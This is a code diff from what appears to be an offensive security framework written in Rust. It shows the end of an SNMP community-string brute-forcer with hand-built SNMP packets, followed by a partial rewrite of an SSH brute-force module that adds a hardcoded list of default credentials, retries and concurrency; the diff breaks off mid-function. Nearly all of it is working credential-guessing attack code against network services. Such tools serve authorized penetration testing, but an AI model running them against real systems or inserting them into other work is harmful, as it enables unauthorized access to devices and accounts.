+        Some(prompt_default("Output file", "snmp_brute_results.txt")?)
+    } else {
+        None
+    };
+    let verbose = prompt_yes_no("Verbose mode?", false)?;
+    let timeout_secs: u64 = loop {
+        let input = prompt_default("Timeout (seconds)", "3")?;
+        match input.trim().parse::<u64>() {
+            Ok(n) if n > 0 && n <= 300 => break n,
+            Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
+            Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
+            Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
+        }
+    };
+
+    let connect_addr = normalize_target(target, port)?;
+
+    let found = Arc::new(Mutex::new(Vec::new()));
+    let stop = Arc::new(AtomicBool::new(false));
+
+    println!("\n[*] Starting SNMP brute-force on {}", connect_addr);
+    println!("[*] SNMP Version: {}", if snmp_version == 0 { "v1" } else { "v2c" });
+
+    let communities = load_lines(&communities_file)?;
+    if communities.is_empty() {
+        println!("[!] Community wordlist is empty or invalid. Exiting.");
+        return Ok(());
+    }
+
+    let communities = Arc::new(communities);
+    let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
+
+    for community in communities.iter() {
+        if stop_on_success && stop.load(Ordering::Relaxed) {
+            break;
+        }
+
+        let addr_clone = connect_addr.clone();
+        let community_clone = community.clone();
+        let found_clone = Arc::clone(&found);
+        let stop_clone = Arc::clone(&stop);
+        let stop_flag = stop_on_success;
+        let verbose_flag = verbose;
+        let version = snmp_version;
+        let timeout = Duration::from_secs(timeout_secs);
+
+        tasks.push(tokio::spawn(async move {
+            if stop_flag && stop_clone.load(Ordering::Relaxed) {
+                return;
+            }
+
+            match try_snmp_community(&addr_clone, &community_clone, version, timeout).await {
+                Ok(true) => {
+                    println!("[+] {} -> community: '{}'", addr_clone, community_clone);
+                    found_clone
+                        .lock()
+                        .await
+                        .push((addr_clone.clone(), community_clone.clone()));
+                    if stop_flag {
+                        stop_clone.store(true, Ordering::Relaxed);
+                    }
+                }
+                Ok(false) => {
+                    log(verbose_flag, &format!("[-] {} -> community: '{}'", addr_clone, community_clone));
+                }
+                Err(e) => {
+                    log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
+                }
+            }
+
+            sleep(Duration::from_millis(10)).await;
+        }));
+
+        if tasks.len() >= concurrency {
+            if let Some(res) = tasks.next().await {
+                if let Err(e) = res {
+                    log(verbose, &format!("[!] Task join error: {}", e));
+                }
+            }
+        }
+    }
+
+    while let Some(res) = tasks.next().await {
+        if let Err(e) = res {
+            log(verbose, &format!("[!] Task join error: {}", e));
+        }
+    }
+
+    let creds = found.lock().await;
+    if creds.is_empty() {
+        println!("\n[-] No valid community strings found.");
+    } else {
+        println!("\n[+] Valid community strings:");
+        for (host, community) in creds.iter() {
+            println!("     {} -> community: '{}'", host, community);
+        }
+
+        if let Some(path_str) = save_path {
+            let filename = get_filename_in_current_dir(&path_str);
+            let mut file = File::create(&filename)?;
+            for (host, community) in creds.iter() {
+                writeln!(file, "{} -> community: '{}'", host, community)?;
+            }
+            println!("[+] Results saved to '{}'", filename.display());
+        }
+    }
+
+    Ok(())
+}
+
+async fn try_snmp_community(
+    normalized_addr: &str,
+    community: &str,
+    version: u8,  // 0 = v1, 1 = v2c
+    timeout: Duration,
+) -> Result<bool> {
+    let community_owned = community.to_string();
+    let addr_owned = normalized_addr.to_string();
+
+    let result = spawn_blocking(move || -> Result<bool, anyhow::Error> {
+        // Parse the address
+        let addr: SocketAddr = addr_owned
+            .parse()
+            .map_err(|e| anyhow!("Invalid address '{}': {}", addr_owned, e))?;
+
+        // Create UDP socket
+        let socket = UdpSocket::bind("0.0.0.0:0")
+            .map_err(|e| anyhow!("Failed to bind socket: {}", e))?;
+        
+        socket
+            .set_read_timeout(Some(timeout))
+            .map_err(|e| anyhow!("Failed to set read timeout: {}", e))?;
+
+        // Build SNMP GET request manually
+        // OID: 1.3.6.1.2.1.1.1.0 (sysDescr)
+        let message = build_snmp_get_request(&community_owned, version);
+
+        // Send request
+        socket
+            .send_to(&message, &addr)
+            .map_err(|e| anyhow!("Failed to send SNMP request: {}", e))?;
+
+        // Receive response
+        let mut buf = vec![0u8; 4096];
+        let result: bool = match socket.recv_from(&mut buf) {
+            Ok((size, _)) => {
+                let response = &buf[..size];
+                
+                // Parse SNMP response to verify it's valid
+                // A valid SNMP response should:
+                // 1. Start with 0x30 (SEQUENCE)
+                // 2. Contain version, community, and PDU
+                // 3. Have error status = 0 (noError) in the response PDU
+                if size >= 20 && response[0] == 0x30 {
+                    // Try to parse the response to check error status
+                    // If we can parse it and error status is 0, it's valid
+                    match parse_snmp_response(response) {
+                        Ok(true) => true,  // Valid community string
+                        Ok(false) => false, // Invalid community (error in response)
+                        Err(_) => {
+                            // Can't parse, but got a response - might be valid
+                            // Some devices send malformed responses but still indicate valid community
+                            true
+                        }
+                    }
+                } else {
+                    // Malformed response - likely invalid
+                    false
+                }
+            }
+            Err(e) => {
+                // Handle timeout and EAGAIN/EWOULDBLOCK errors as invalid community
+                // EAGAIN (os error 11) can occur on Linux when socket would block
+                let error_kind = e.kind();
+                if error_kind == std::io::ErrorKind::TimedOut 
+                    || error_kind == std::io::ErrorKind::WouldBlock
+                    || e.raw_os_error() == Some(11) // EAGAIN on Linux
+                    || e.raw_os_error() == Some(35) // EAGAIN on macOS
+                {
+                    // Timeout or would block - community string is likely invalid
+                    false
+                } else {
+                    // Other errors might be transient, but log them
+                    // For now, treat as invalid to avoid false positives
+                    false
+                }
+            }
+        };
+        Ok(result)
+    })
+    .await
+    .map_err(|e| anyhow!("Task join error: {}", e))?;
+
+    result
+}
+
+/// Parses SNMP response to check if error status is 0 (noError)
+/// Returns Ok(true) if valid, Ok(false) if error status != 0, Err if can't parse
+fn parse_snmp_response(response: &[u8]) -> Result<bool> {
+    if response.len() < 20 || response[0] != 0x30 {
+        return Err(anyhow!("Invalid SNMP response header"));
+    }
+
+    // Try to find the PDU (GetResponse-PDU = 0xa2)
+    // The structure is: SEQUENCE (version, community, PDU)
+    // We need to skip version and community to get to the PDU
+    
+    let mut pos = 1;
+    
+    // Skip length of outer SEQUENCE
+    if pos >= response.len() {
+        return Err(anyhow!("Response too short"));
+    }
+    let (_len, len_bytes) = parse_ber_length(&response[pos..])?;
+    pos += len_bytes;
+    
+    // Skip version (INTEGER)
+    if pos >= response.len() || response[pos] != 0x02 {
+        return Err(anyhow!("Invalid version field"));
+    }
+    pos += 1;
+    let (vlen, vlen_bytes) = parse_ber_length(&response[pos..])?;
+    pos += vlen_bytes + vlen;
+    
+    // Skip community (OCTET STRING)
+    if pos >= response.len() || response[pos] != 0x04 {
+        return Err(anyhow!("Invalid community field"));
+    }
+    pos += 1;
+    let (clen, clen_bytes) = parse_ber_length(&response[pos..])?;
+    pos += clen_bytes + clen;
+    
+    // Now we should be at the PDU
+    // GetResponse-PDU = 0xa2, GetRequest-PDU = 0xa0
+    if pos >= response.len() {
+        return Err(anyhow!("Response too short for PDU"));
+    }
+    
+    let pdu_tag = response[pos];
+    if pdu_tag != 0xa2 && pdu_tag != 0xa0 {
+        // Not a GetResponse or GetRequest, might be an error
+        return Ok(false);
+    }
+    
+    pos += 1;
+    let (_pdu_len, pdu_len_bytes) = parse_ber_length(&response[pos..])?;
+    pos += pdu_len_bytes;
+    
+    // PDU structure: request-id, error-status, error-index, variable-bindings
+    // Skip request-id (INTEGER)
+    if pos >= response.len() || response[pos] != 0x02 {
+        return Err(anyhow!("Invalid request-id field"));
+    }
+    pos += 1;
+    let (rid_len, rid_len_bytes) = parse_ber_length(&response[pos..])?;
+    pos += rid_len_bytes + rid_len;
+    
+    // Read error-status (INTEGER)
+    if pos >= response.len() || response[pos] != 0x02 {
+        return Err(anyhow!("Invalid error-status field"));
+    }
+    pos += 1;
+    let (es_len, es_len_bytes) = parse_ber_length(&response[pos..])?;
+    if es_len == 0 || pos + es_len_bytes + es_len > response.len() {
+        return Err(anyhow!("Invalid error-status length"));
+    }
+    
+    // Read the error status value
+    let error_status = if es_len == 1 {
+        response[pos + es_len_bytes] as u32
+    } else {
+        // Multi-byte integer (shouldn't happen for error status, but handle it)
+        let mut val = 0u32;
+        for i in 0..es_len {
+            val = (val << 8) | (response[pos + es_len_bytes + i] as u32);
+        }
+        val
+    };
+    
+    // Error status 0 = noError, anything else is an error
+    Ok(error_status == 0)
+}
+
+/// Parses BER length field
+/// Returns (length_value, number_of_bytes_consumed)
+fn parse_ber_length(data: &[u8]) -> Result<(usize, usize)> {
+    if data.is_empty() {
+        return Err(anyhow!("Empty length field"));
+    }
+    
+    let first_byte = data[0];
+    
+    if (first_byte & 0x80) == 0 {
+        // Short form: single byte
+        Ok((first_byte as usize, 1))
+    } else {
+        // Long form: first byte indicates number of length bytes
+        let num_bytes = (first_byte & 0x7F) as usize;
+        if num_bytes == 0 {
+            return Err(anyhow!("Indefinite length not supported"));
+        }
+        if num_bytes > 4 {
+            return Err(anyhow!("Length field too large"));
+        }
+        if data.len() < 1 + num_bytes {
+            return Err(anyhow!("Not enough bytes for length field"));
+        }
+        
+        let mut length = 0usize;
+        for i in 0..num_bytes {
+            length = (length << 8) | (data[1 + i] as usize);
+        }
+        
+        Ok((length, 1 + num_bytes))
+    }
+}
+
+/// Builds a simple SNMP GET request packet manually
+/// This is a simplified implementation that creates a basic SNMPv1/v2c GET request
+fn build_snmp_get_request(community: &str, version: u8) -> Vec<u8> {
+    // Build components first, then assemble with proper length encoding
+    
+    // OID for sysDescr: 1.3.6.1.2.1.1.1.0
+    let oid_encoded = encode_oid_value(&[1, 3, 6, 1, 2, 1, 1, 1, 0]);
+    let oid_tlv = build_tlv(0x06, &oid_encoded); // 0x06 = OBJECT IDENTIFIER
+    
+    // NULL value
+    let null_tlv = vec![0x05, 0x00]; // NULL type, length 0
+    
+    // VarBind: SEQUENCE of (OID, NULL)
+    let mut var_bind = Vec::new();
+    var_bind.extend_from_slice(&oid_tlv);
+    var_bind.extend_from_slice(&null_tlv);
+    let var_bind_tlv = build_tlv(0x30, &var_bind); // 0x30 = SEQUENCE
+    
+    // VarBindList: SEQUENCE of VarBind
+    let mut var_bind_list_content = Vec::new();
+    var_bind_list_content.extend_from_slice(&var_bind_tlv);
+    let var_bind_list_tlv = build_tlv(0x30, &var_bind_list_content); // 0x30 = SEQUENCE
+    
+    // Request ID
+    let request_id_tlv = encode_integer_tlv(1u32);
+    
+    // Error status (0 = noError)
+    let error_status_tlv = encode_integer_tlv(0u32);
+    
+    // Error index (0 = noError)
+    let error_index_tlv = encode_integer_tlv(0u32);
+    
+    // PDU: GetRequest-PDU
+    let mut pdu_content = Vec::new();
+    pdu_content.extend_from_slice(&request_id_tlv);
+    pdu_content.extend_from_slice(&error_status_tlv);
+    pdu_content.extend_from_slice(&error_index_tlv);
+    pdu_content.extend_from_slice(&var_bind_list_tlv);
+    let pdu_tlv = build_tlv(0xa0, &pdu_content); // 0xa0 = GetRequest-PDU
+    
+    // Version
+    let version_tlv = encode_integer_tlv(version as u32);
+    
+    // Community string
+    let community_bytes = community.as_bytes();
+    let community_tlv = build_tlv(0x04, community_bytes); // 0x04 = OCTET STRING
+    
+    // SNMP Message: SEQUENCE of (version, community, PDU)
+    let mut message_content = Vec::new();
+    message_content.extend_from_slice(&version_tlv);
+    message_content.extend_from_slice(&community_tlv);
+    message_content.extend_from_slice(&pdu_tlv);
+    let message = build_tlv(0x30, &message_content); // 0x30 = SEQUENCE
+    
+    message
+}
+
+/// Builds a TLV (Type-Length-Value) structure
+fn build_tlv(tag: u8, value: &[u8]) -> Vec<u8> {
+    let mut result = Vec::new();
+    result.push(tag);
+    
+    let length = value.len();
+    if length < 128 {
+        // Short form: single byte length
+        result.push(length as u8);
+    } else {
+        // Long form: first byte is 0x80 | num_bytes, followed by length bytes (big-endian)
+        // Calculate how many bytes we need for the length
+        let mut len = length;
+        let mut num_bytes = 0;
+        let mut len_bytes = Vec::new();
+        
+        while len > 0 {
+            len_bytes.push((len & 0xFF) as u8);
+            len >>= 8;
+            num_bytes += 1;
+        }
+        
+        // Reverse to get big-endian representation
+        len_bytes.reverse();
+        
+        // First byte: 0x80 | number of length bytes
+        result.push(0x80 | (num_bytes as u8));
+        result.extend_from_slice(&len_bytes);
+    }
+    
+    result.extend_from_slice(value);
+    result
+}
+
+/// Encodes an integer as a TLV (signed integer, but we use it for unsigned values)
+fn encode_integer_tlv(value: u32) -> Vec<u8> {
+    let mut bytes = Vec::new();
+    if value == 0 {
+        bytes.push(0);
+    } else {
+        let mut val = value;
+        // Encode as big-endian, using minimum number of bytes
+        // For values that would have high bit set, we need an extra zero byte
+        // to ensure it's interpreted as positive
+        while val > 0 {
+            bytes.push((val & 0xFF) as u8);
+            val >>= 8;
+        }
+        bytes.reverse();
+        
+        // If high bit is set, prepend 0x00 to make it positive
+        if bytes[0] & 0x80 != 0 {
+            bytes.insert(0, 0x00);
+        }
+    }
+    build_tlv(0x02, &bytes) // 0x02 = INTEGER
+}
+
+/// Encodes OID value (without the TLV wrapper)
+fn encode_oid_value(oid: &[u32]) -> Vec<u8> {
+    let mut encoded = Vec::new();
+    if oid.len() >= 2 {
+        // First two sub-identifiers are encoded as: first * 40 + second
+        encoded.push((oid[0] * 40 + oid[1]) as u8);
+        for &sub_id in &oid[2..] {
+            encode_sub_id(sub_id, &mut encoded);
+        }
+    }
+    encoded
+}
+
+
+/// Encodes a sub-identifier using base-128 encoding
+fn encode_sub_id(mut value: u32, output: &mut Vec<u8>) {
+    let mut bytes = Vec::new();
+    if value == 0 {
+        bytes.push(0);
+    } else {
+        while value > 0 {
+            bytes.push((value & 0x7F) as u8);
+            value >>= 7;
+        }
+        bytes.reverse();
+        // Set high bit on all but last byte
+        for i in 0..bytes.len() - 1 {
+            bytes[i] |= 0x80;
+        }
+    }
+    output.extend_from_slice(&bytes);
+}
+
+
+fn normalize_target(host: &str, default_port: u16) -> Result<String> {
+    let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
+    let trimmed = host.trim();
+    let caps = re
+        .captures(trimmed)
+        .ok_or_else(|| anyhow!("Invalid target format: {}", host))?;
+    let addr = caps.name("addr").unwrap().as_str();
+    let port = if let Some(m) = caps.name("port") {
+        m.as_str()
+            .parse::<u16>()
+            .map_err(|_| anyhow!("Invalid port value in target '{}'", host))?
+    } else {
+        default_port
+    };
+    let formatted = if addr.contains(':') && !addr.contains('.') {
+        format!("[{}]:{}", addr, port)
+    } else {
+        format!("{}:{}", addr, port)
+    };
+
+    // Validate that the address can be resolved
+    formatted
+        .parse::<std::net::SocketAddr>()
+        .map_err(|e| anyhow!("Could not parse address '{}': {}", formatted, e))?;
+
+    Ok(formatted)
+}
+
+
+fn prompt_required(msg: &str) -> Result<String> {
+    loop {
+        print!("{}", format!("{}: ", msg).cyan().bold());
+        std::io::stdout().flush()?;
+        let mut s = String::new();
+        std::io::stdin().read_line(&mut s)?;
+        let trimmed = s.trim();
+        if !trimmed.is_empty() {
+            return Ok(trimmed.to_string());
+        } else {
+            println!("{}", "This field is required.".yellow());
+        }
+    }
+}
+
+fn prompt_default(msg: &str, default: &str) -> Result<String> {
+    print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
+    std::io::stdout().flush()?;
+    let mut s = String::new();
+    std::io::stdin().read_line(&mut s)?;
+    let trimmed = s.trim();
+    Ok(if trimmed.is_empty() {
+        default.to_string()
+    } else {
+        trimmed.to_string()
+    })
+}
+
+fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
+    let default_char = if default_yes { "y" } else { "n" };
+    loop {
+        print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
+        std::io::stdout().flush()?;
+        let mut s = String::new();
+        std::io::stdin().read_line(&mut s)?;
+        let input = s.trim().to_lowercase();
+        if input.is_empty() {
+            return Ok(default_yes);
+        } else if input == "y" || input == "yes" {
+            return Ok(true);
+        } else if input == "n" || input == "no" {
+            return Ok(false);
+        } else {
+            println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
+        }
+    }
+}
+
+fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
+    let file = File::open(path.as_ref())
+        .map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
+    let reader = BufReader::new(file);
+    Ok(reader
+        .lines()
+        .filter_map(Result::ok)
+        .filter(|l| !l.trim().is_empty())
+        .collect())
+}
+
+fn log(verbose: bool, msg: &str) {
+    if verbose {
+        println!("{}", msg);
+    }
+}
+
+fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
+    let path_candidate = Path::new(input_path_str)
+        .file_name()
+        .map(|os_str| os_str.to_string_lossy())
+        .filter(|s_cow| !s_cow.is_empty() && s_cow != "." && s_cow != "..")
+        .map(|s_cow| s_cow.into_owned())
+        .unwrap_or_else(|| "snmp_brute_results.txt".to_string());
+    
+    PathBuf::from(format!("./{}", path_candidate))
+}
+

src/modules/creds/generic/ssh_bruteforce.rs

@@ -2,41 +2,184 @@ use anyhow::{anyhow, Result};
 use colored::*;
 use ssh2::Session;
 use std::{
+    collections::HashSet,
     fs::File,
     io::{BufRead, BufReader, Write},
-    net::TcpStream,
+    net::{TcpStream, ToSocketAddrs},
     path::{Path, PathBuf},
-    sync::Arc,
+    sync::{
+        atomic::{AtomicBool, AtomicU64, Ordering},
+        Arc,
+    },
+    time::Instant,
 };
+use regex::Regex;
 use tokio::{
     sync::{Mutex, Semaphore},
     task::spawn_blocking,
-    time::{sleep, Duration},
+    time::{sleep, Duration, timeout},
 };
 
+// Constants
+const DEFAULT_SSH_PORT: u16 = 22;
+const PROGRESS_INTERVAL_SECS: u64 = 2;
+const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
+    ("root", "root"),
+    ("admin", "admin"),
+    ("user", "user"),
+    ("guest", "guest"),
+    ("root", "123456"),
+    ("admin", "123456"),
+    ("root", "password"),
+    ("admin", "password"),
+    ("root", ""),
+    ("admin", ""),
+    ("ubuntu", "ubuntu"),
+    ("test", "test"),
+    ("oracle", "oracle"),
+];
+
+// Statistics tracking
+struct Statistics {
+    total_attempts: AtomicU64,
+    successful_attempts: AtomicU64,
+    failed_attempts: AtomicU64,
+    error_attempts: AtomicU64,
+    retried_attempts: AtomicU64,
+    start_time: Instant,
+}
+
+impl Statistics {
+    fn new() -> Self {
+        Self {
+            total_attempts: AtomicU64::new(0),
+            successful_attempts: AtomicU64::new(0),
+            failed_attempts: AtomicU64::new(0),
+            error_attempts: AtomicU64::new(0),
+            retried_attempts: AtomicU64::new(0),
+            start_time: Instant::now(),
+        }
+    }
+
+    fn record_attempt(&self, success: bool, error: bool) {
+        self.total_attempts.fetch_add(1, Ordering::Relaxed);
+        if error {
+            self.error_attempts.fetch_add(1, Ordering::Relaxed);
+        } else if success {
+            self.successful_attempts.fetch_add(1, Ordering::Relaxed);
+        } else {
+            self.failed_attempts.fetch_add(1, Ordering::Relaxed);
+        }
+    }
+
+    fn record_retry(&self) {
+        self.retried_attempts.fetch_add(1, Ordering::Relaxed);
+    }
+
+    fn print_progress(&self) {
+        let total = self.total_attempts.load(Ordering::Relaxed);
+        let success = self.successful_attempts.load(Ordering::Relaxed);
+        let failed = self.failed_attempts.load(Ordering::Relaxed);
+        let errors = self.error_attempts.load(Ordering::Relaxed);
+        let retries = self.retried_attempts.load(Ordering::Relaxed);
+        let elapsed = self.start_time.elapsed().as_secs_f64();
+        let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
+
+        print!(
+            "\r{} {} attempts | {} OK | {} fail | {} err | {} retry | {:.1}/s    ",
+            "[Progress]".cyan(),
+            total.to_string().bold(),
+            success.to_string().green(),
+            failed,
+            errors.to_string().red(),
+            retries,
+            rate
+        );
+        let _ = std::io::Write::flush(&mut std::io::stdout());
+    }
+
+    fn print_final(&self) {
+        println!();
+        let total = self.total_attempts.load(Ordering::Relaxed);
+        let success = self.successful_attempts.load(Ordering::Relaxed);
+        let failed = self.failed_attempts.load(Ordering::Relaxed);
+        let errors = self.error_attempts.load(Ordering::Relaxed);
+        let retries = self.retried_attempts.load(Ordering::Relaxed);
+        let elapsed = self.start_time.elapsed().as_secs_f64();
+
+        println!("{}", "=== Statistics ===".bold());
+        println!("  Total attempts:    {}", total);
+        println!("  Successful:        {}", success.to_string().green().bold());
+        println!("  Failed:            {}", failed);
+        println!("  Errors:            {}", errors.to_string().red());
+        println!("  Retries:           {}", retries);
+        println!("  Elapsed time:      {:.2}s", elapsed);
+        if elapsed > 0.0 {
+            println!("  Average rate:      {:.1} attempts/s", total as f64 / elapsed);
+        }
+    }
+}
+
 pub async fn run(target: &str) -> Result<()> {
-    println!("=== SSH Brute Force Module ===");
+    println!("{}", "=== SSH Brute Force Module ===".bold());
     println!("[*] Target: {}", target);
 
     let port: u16 = loop {
-        let input = prompt_default("SSH Port", "22")?;
+        let input = prompt_default("SSH Port", &DEFAULT_SSH_PORT.to_string())?;
         match input.parse() {
-            Ok(p) => break p,
-            Err(_) => println!("Invalid port. Try again."),
+            Ok(p) if p > 0 => break p,
+            _ => println!("{}", "Invalid port. Must be between 1 and 65535.".yellow()),
         }
     };
 
-    let usernames_file = prompt_required("Username wordlist")?;
-    let passwords_file = prompt_required("Password wordlist")?;
+    // Ask about default credentials
+    let use_defaults = prompt_yes_no("Try default credentials first?", true)?;
+    
+    let usernames_file = if prompt_yes_no("Use username wordlist?", true)? {
+        Some(prompt_existing_file("Username wordlist")?)
+    } else {
+        None
+    };
+    
+    let passwords_file = if prompt_yes_no("Use password wordlist?", true)? {
+        Some(prompt_existing_file("Password wordlist")?)
+    } else {
+        None
+    };
+
+    if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
+        return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
+    }
 
     let concurrency: usize = loop {
         let input = prompt_default("Max concurrent tasks", "10")?;
         match input.parse() {
-            Ok(n) if n > 0 => break n,
-            _ => println!("Invalid number. Try again."),
+            Ok(n) if n > 0 && n <= 256 => break n,
+            _ => println!("{}", "Invalid number. Must be between 1 and 256.".yellow()),
         }
     };
 
+    let connection_timeout: u64 = loop {
+        let input = prompt_default("Connection timeout (seconds)", "5")?;
+        match input.parse() {
+            Ok(n) if n >= 1 && n <= 60 => break n,
+            _ => println!("{}", "Invalid timeout. Must be between 1 and 60 seconds.".yellow()),
+        }
+    };
+
+    let retry_on_error = prompt_yes_no("Retry on connection errors?", true)?;
+    let max_retries: usize = if retry_on_error {
+        loop {
+            let input = prompt_default("Max retries per attempt", "2")?;
+            match input.parse() {
+                Ok(n) if n > 0 && n <= 10 => break n,
+                _ => println!("{}", "Invalid retries. Must be between 1 and 10.".yellow()),
+            }
+        }
+    } else {
+        0
+    };
+
     let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
     let save_results = prompt_yes_no("Save results to file?", true)?;
     let save_path = if save_results {
@@ -47,104 +190,184 @@ pub async fn run(target: &str) -> Result<()> {
     let verbose = prompt_yes_no("Verbose mode?", false)?;
     let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
 
-    let initial_addr = format!("{}:{}", target, port);
-    let connect_addr = format_host_port(&initial_addr)?;
+    let connect_addr = normalize_target(target, port)?;
 
-    let found = Arc::new(Mutex::new(Vec::new()));
-    let stop = Arc::new(Mutex::new(false));
+    println!("\n{}", format!("[*] Starting brute-force on {}", connect_addr).cyan());
 
-    println!("\n[*] Starting brute-force on {}", connect_addr);
-
-    let user_list = load_lines(&usernames_file)?;
-    if user_list.is_empty() {
-        println!("[!] Username wordlist is empty or invalid. Exiting.");
-        return Ok(());
-    }
-    let users = Arc::new(user_list);
-
-    let pass_file = File::open(&passwords_file)?;
-    let pass_buf = BufReader::new(pass_file);
-    let pass_lines: Vec<String> = pass_buf
-        .lines()
-        .filter_map(|line| line.ok().map(|s| s.trim().to_string()))
-        .filter(|line| !line.is_empty())
-        .collect();
-    if pass_lines.is_empty() {
-        println!("[!] Password wordlist is empty or invalid. Exiting.");
-        return Ok(());
+    // Load wordlists
+    let mut usernames = Vec::new();
+    if let Some(ref file) = usernames_file {
+        usernames = load_lines(file)?;
+        if usernames.is_empty() {
+            println!("{}", "[!] Username wordlist is empty.".yellow());
+        } else {
+            println!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
+        }
     }
 
+    let mut passwords = Vec::new();
+    if let Some(ref file) = passwords_file {
+        passwords = load_lines(file)?;
+        if passwords.is_empty() {
+            println!("{}", "[!] Password wordlist is empty.".yellow());
+        } else {
+            println!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
+        }
+    }
+
+    // Add default credentials if requested
+    if use_defaults {
+        for (user, pass) in DEFAULT_CREDENTIALS {
+            if !usernames.contains(&user.to_string()) {
+                usernames.push(user.to_string());
+            }
+            if !passwords.contains(&pass.to_string()) {
+                passwords.push(pass.to_string());
+            }
+        }
+        println!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
+    }
+
+    if usernames.is_empty() {
+        return Err(anyhow!("No usernames available"));
+    }
+    if passwords.is_empty() {
+        return Err(anyhow!("No passwords available"));
+    }
+
+    // Calculate total attempts
+    let total_attempts = if combo_mode {
+        usernames.len() * passwords.len()
+    } else {
+        passwords.len()
+    };
+    println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
+    println!();
+
+    let found = Arc::new(Mutex::new(HashSet::new()));
+    let stop = Arc::new(AtomicBool::new(false));
+    let stats = Arc::new(Statistics::new());
     let semaphore = Arc::new(Semaphore::new(concurrency));
-    let mut tasks = Vec::new();
-    let mut user_cycle_idx = 0;
+    let timeout_duration = Duration::from_secs(connection_timeout);
 
-    for pass_str in pass_lines {
-        if *stop.lock().await {
+    // Start progress reporter
+    let stats_clone = stats.clone();
+    let stop_clone = stop.clone();
+    let progress_handle = tokio::spawn(async move {
+        loop {
+            if stop_clone.load(Ordering::Relaxed) {
+                break;
+            }
+            stats_clone.print_progress();
+            sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
+        }
+    });
+
+    // Generate credential pairs
+    let mut tasks = Vec::new();
+    let mut user_cycle_idx = 0usize;
+
+    for pass in passwords.iter() {
+        if stop_on_success && stop.load(Ordering::Relaxed) {
             break;
         }
 
-        let users_for_current_pass: Box<dyn Iterator<Item = String>> = if combo_mode {
-            Box::new(users.iter().cloned())
+        let selected_users: Vec<String> = if combo_mode {
+            usernames.iter().cloned().collect()
         } else {
-            if users.is_empty() {
-                Box::new(std::iter::empty())
+            if usernames.is_empty() {
+                Vec::new()
             } else {
-                let user = users[user_cycle_idx % users.len()].clone();
+                let user = usernames[user_cycle_idx % usernames.len()].clone();
                 user_cycle_idx += 1;
-                Box::new(std::iter::once(user))
+                vec![user]
             }
         };
 
-        for user_str in users_for_current_pass {
-            if *stop.lock().await {
+        for user in selected_users {
+            if stop_on_success && stop.load(Ordering::Relaxed) {
                 break;
             }
 
-            let permit = Arc::clone(&semaphore).acquire_owned().await?;
-            
-            let task_addr = connect_addr.clone();
-            let task_user = user_str;
-            let task_pass = pass_str.clone();
+            let addr_clone = connect_addr.clone();
+            let user_clone = user.clone();
+            let pass_clone = pass.clone();
             let found_clone = Arc::clone(&found);
             let stop_clone = Arc::clone(&stop);
+            let stats_clone = Arc::clone(&stats);
+            let semaphore_clone = semaphore.clone();
+            let timeout_clone = timeout_duration;
+            let stop_flag = stop_on_success;
+            let verbose_flag = verbose;
+            let retry_flag = retry_on_error;
+            let max_retries_clone = max_retries;
 
-            let task = tokio::spawn(async move {
+            let permit = semaphore_clone.acquire_owned().await.unwrap();
+            tasks.push(tokio::spawn(async move {
                 let _permit = permit;
-
-                if *stop_clone.lock().await {
+                
+                if stop_flag && stop_clone.load(Ordering::Relaxed) {
                     return;
                 }
 
-                match try_ssh_login(&task_addr, &task_user, &task_pass).await {
-                    Ok(true) => {
-                        println!("[+] {} -> {}:{}", task_addr, task_user, task_pass);
-                        found_clone.lock().await.push((task_addr.clone(), task_user.clone(), task_pass.clone()));
-                        if stop_on_success {
-                            *stop_clone.lock().await = true;
+                let mut retries = 0;
+                loop {
+                    match try_ssh_login(&addr_clone, &user_clone, &pass_clone, timeout_clone).await {
+                        Ok(true) => {
+                            println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone).green());
+                            let mut found_guard = found_clone.lock().await;
+                            found_guard.insert((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
+                            stats_clone.record_attempt(true, false);
+                            if stop_flag {
+                                stop_clone.store(true, Ordering::Relaxed);
+                            }
+                            break;
+                        }
+                        Ok(false) => {
+                            stats_clone.record_attempt(false, false);
+                            if verbose_flag {
+                                println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone).dimmed());
+                            }
+                            break;
+                        }
+                        Err(e) => {
+                            stats_clone.record_attempt(false, true);
+                            if retry_flag && retries < max_retries_clone {
+                                retries += 1;
+                                stats_clone.record_retry();
+                                if verbose_flag {
+                                    println!("\r{}", format!("[!] {} -> {}:{} (retry {}/{})", addr_clone, user_clone, pass_clone, retries, max_retries_clone).yellow());
+                                }
+                                sleep(Duration::from_millis(500)).await;
+                                continue;
+                            } else {
+                                if verbose_flag {
+                                    println!("\r{}", format!("[!] {} -> {}:{} error: {}", addr_clone, user_clone, pass_clone, e).red());
+                                }
+                                break;
+                            }
                         }
                     }
-                    Ok(false) => {
-                        log(verbose, &format!("[-] {} -> {}:{}", task_addr, task_user, task_pass));
-                    }
-                    Err(e) => {
-                        log(verbose, &format!("[!] {}: error: {}", task_addr, e));
-                    }
                 }
-                sleep(Duration::from_millis(10)).await;
-            });
-            tasks.push(task);
+            }));
         }
     }
 
+    // Wait for all tasks
     for task in tasks {
